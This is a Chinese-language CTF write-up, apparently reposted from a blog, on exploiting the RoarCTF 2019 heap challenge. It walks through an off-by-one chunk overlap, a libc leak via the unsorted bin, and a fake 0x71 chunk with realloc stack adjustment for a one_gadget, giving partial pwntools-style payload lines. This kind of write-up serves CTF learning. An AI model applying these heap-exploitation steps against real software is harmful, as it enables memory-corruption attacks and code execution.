标签：roarctf p64 libc chunk add 2019 pwn chunk1 0x20
没有UAF，但是存在着off-by-one
所以先add（0x18）#chunk0和一个（0x10）#chunk1，add（0x90），add（0x10）
为什么是0x18？因为0x18会开辟一个共0x20的chunk,一开始我也以为是一个0x30的大小，但是
在chunk结构中 0x560df2c462b0 -0x560df2c462b8 这片区域中也会被chunk0使用。这样才能更接近chunk1的size域，对其进行攻击。
所以，根据上面的off_by_one修改chunk1的size（多出的一个字节）
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1)) #34的原因是0x18 + 10 也可以比34要大
但是这里p64（0x20）。
出现了chunk覆盖。这时候free掉，再malloc回来，就可以控制chunk1。但要注意的是，要躲避检查。
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
这样，伪造出一个chunk1物理地址紧邻的chunk。
接下来就拿chunk1。
delete(1)
add(0x90)
但由于是alloc，会清空用户数据，所以需要重新恢复。
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
接下来就是上次学习的unsorted bin 泄露libc
delete(2)
show(1)拿到main_arena + offset（动态调试后观察到这个offset为88）（我在这里调试失败了，不知道哪里出错了）
因libc的起始位置可能会发生变化，但是libc中的内容之间的相对位置没有变化。
所以要计算出libc实际加载的位置与libc位置的偏移，这也叫程序偏移量。
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
再伪造一个chunk，为什么是0x71，和之前发的文章是一个道理，这往后的套路基本上就是固定的了。
区别在于这道题需要realloc来调整栈结构，根据不同程序执行到one_gadget时栈环境的不同，需要进行不同数量的push和pop来调整。并且realloc相比于malloc，在检查hook之前，realloc有着大量的push和pop操作，我们只需要将合适的位置放入就可以调整
标签：roarctf,p64,libc,chunk,add,2019,pwn,chunk1,0x20 来源： https://blog.csdn.net/qq_51687381/article/details/119227483
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。